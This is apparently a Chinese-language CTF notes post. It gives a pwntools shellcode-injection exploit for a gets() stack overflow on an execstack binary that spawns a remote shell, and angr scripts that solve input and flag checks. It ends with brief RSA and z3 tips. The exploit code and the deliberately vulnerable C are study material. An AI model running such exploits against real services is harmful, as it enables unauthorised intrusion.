shellcode 注入 需要解的程序, 目的是获取同目录下的 flag.txt
内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <stdlib.h> void vuln (void ) { char buf[100 ]; printf ("<Text 2> %p\n" , buf); gets(buf); } void main (void ) { char sample[20 ]; puts ("<Text 1>" ); fgets(sample, sizeof (sample) - 1 , stdin ); vuln(); }
编译命令
1 gcc chall.c -o chall -fno-stack-protector -z execstack
可以注意 execstack
这一项.
一开始我本想用第二个 gets
溢出来重写 $rbp
寄存器到 system
的地址, 然后 $rdi
到 /bin/sh
来执行 system("/bin/sh");
以获取命令行, 但是问题出现在拿不到远程的 system
地址.
后来看了一眼网上, 可以用 shellcode
来解决
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *lib = remote("<remote addr>" , <port>) print (lib.recv())lib.sendline(b"a" ) re = lib.recv() print (re)addr = int (re[-15 :-1 ], 16 ) print (re[-15 :-1 ])bash_bytes = asm(shellcraft.amd64.linux.sh(),arch='amd64' , os='linux' ) print (len (bash_bytes))lib.sendline(bash_bytes + b"\x00" * (120 - len (bash_bytes)) + p64(addr, endian="little" )) lib.sendline(b"cat flag.txt" ) lib.recv()
angr 破解输入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> #include <stdlib.h> #include <string.h> char key[50 ] = "_________________<Text_1>______________\xC0\xDE" ;void win (void ) { system("/bin/sh" ); } void main (void ) { char input[50 ]; fgets(input, sizeof (input) - 1 , stdin ); if (strlen (input) == strlen (key)) { for (int i = 0 ; i < strlen (key); i++) { if ((input[i] ^ 0x27 ) != key[i]) { exit (0 ); } } system("/bin/sh" ); } }
这里是要输入一个合适的字符串, 使程序走到 system 这一行 然后我就想到了可以用 Angr 来爆破输入的字符串 编译命令
解决脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import angrimport syspath_to_binary = "./chall" project = angr.Project(path_to_binary) initial_state = project.factory.entry_state() simulation = project.factory.simgr(initial_state) print_good_address = 0x400924 simulation.explore(find=print_good_address) if simulation.found: solution_state = simulation.found[0 ] solution = solution_state.posix.dumps(sys.stdin.fileno()) print (solution) else : raise Exception('Could not find the solution' )
然后
1 2 3 4 5 6 from pwn import *lib = remote("<remote addr>" , 1111 ) lib.sendline(b'cNB@H\x07}FDDFN\x07NT\x07SOB\x07EBTS\x07dtb\x07WUHABTTHU\t\xe7\xf9\x00\x00\x00\x00\x00\x00\x00' ) lib.interactive()
angr - 2 当我们遇到像下面这种一长串来验证一个FLAG
全局变量的时候(WolvCTF23-Rev-Homework_help ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 void __stack_chk_fail(void ){ int iVar1; long lVar2; uint uVar3; long in_FS_OFFSET; uint local_15c; uint auStack344 [2 ]; undefined8 local_150; undefined8 local_148; undefined8 local_140; undefined8 local_138; undefined8 local_130; undefined8 local_128; undefined8 local_120; undefined8 local_118; undefined8 local_110; undefined8 local_108; undefined8 local_100; undefined8 local_f8; undefined8 local_f0; undefined8 local_e8; undefined8 local_e0; __jmp_buf_tag local_d8; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28 ); auStack344[1 ] = 0x14 ; local_150 = 0x1200000017 ; local_148 = 0x500000001d ; local_140 = 0x5d00000046 ; local_138 = 0x4100000042 ; local_130 = 0x330000006c ; local_128 = 0x5a0000005d ; local_120 = 0x3a0000000e ; local_118 = 0x410000006a ; local_110 = 0x5700000040 ; local_108 = 0x3400000008 ; local_100 = 0xb0000003c ; local_f8 = 0x3400000003 ; local_f0 = 0x4600000028 ; local_e8 = 0x530000005f ; local_e0 = 0x5000000010 ; local_15c = 0x36 ; iVar1 = _setjmp(&local_d8); if (iVar1 == 0 ) { lVar2 = 0 ; uVar3 = 0x41 ; while ( true ) { local_15c = local_15c ^ uVar3; if ((int )(char )FLAG[lVar2] != local_15c) { __longjmp_chk(&local_d8,1 ); } lVar2 = lVar2 + 1 ; if (lVar2 == 0x20 ) break ; uVar3 = auStack344[lVar2]; } puts ("Well Done." ); } else { puts ("Nope." ); } if (local_10 == *(long *)(in_FS_OFFSET + 0x28 )) { return ; } __stack_chk_fail(); }
如果不想手动分析(这个分析相对来说也不是很困难?)也可以用 Angr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import angrimport sysimport claripydef is_successful (state ): global flag return b'Well Done' in state.posix.dumps(1 ) def should_abort (state ): return b'Nope' in state.posix.dumps(1 ) project = angr.Project("F:/Downloads/homework_help" , auto_load_libs = False ) print (project.loader.find_symbol("__stack_chk_fail" ).rebased_addr)state = project.factory.blank_state(addr=project.loader.find_symbol("__stack_chk_fail" ).rebased_addr) flag = state.solver.BVS('FLAG' , 32 * 8 ) print (project.loader.find_symbol("FLAG" ).rebased_addr)state.memory.store(project.loader.find_symbol("FLAG" ).rebased_addr, flag) simulation = project.factory.simulation_manager(state) simulation.one_active.options.add(angr.options.LAZY_SOLVES) simulation.explore(find=[is_successful, 0x004013f5 ] , avoid=[should_abort, 0x401414 ]) for deadended in simulation.deadended: print ("Valid memory access triggered by %s" % repr (deadended.posix.dumps(0 ))) for errored in simulation.errored: print ("%s caused by %s" % (errored.error, repr (errored.state.posix.dumps(0 )))) if simulation.found: for s in simulation.found: print ("input:" , s.posix.dumps(0 )) print ("output:" , s.posix.dumps(1 )) print (s.solver.eval (flag, cast_to=bytes ).decode()) else : raise Exception('Could not find the solution' )
RSA 遇到给出 N, E 和 C 的情况, 应该能确认是 RSA 了. 这个时候要确认是 RSA 加密还是签名, 不然可能会和我一样浪费几个小时在 RsaCtfTool 和 yafu 上面 (x) 可以在开始尝试解密的时候用
1 2 3 4 5 6 7 8 import Crypto.Util.number as cunn = e = c = p = pow (c, e, n) print (cun.long_to_bytes(p))
看看是不是签名, 然后再尝试解密.
Z3 solver z3 solver 的 python 库可以用来求解约束. 比如在 hack-a-sat 里面有一个chal 是每个表情代表一个 32 以内的数字, 然后给出每个数字的因子和其他的一些条件, 这个时候就可以用 z3 solver 创建一系列变量然后给他们添加chal里给出的条件, 然后求解得到每一个的对应值.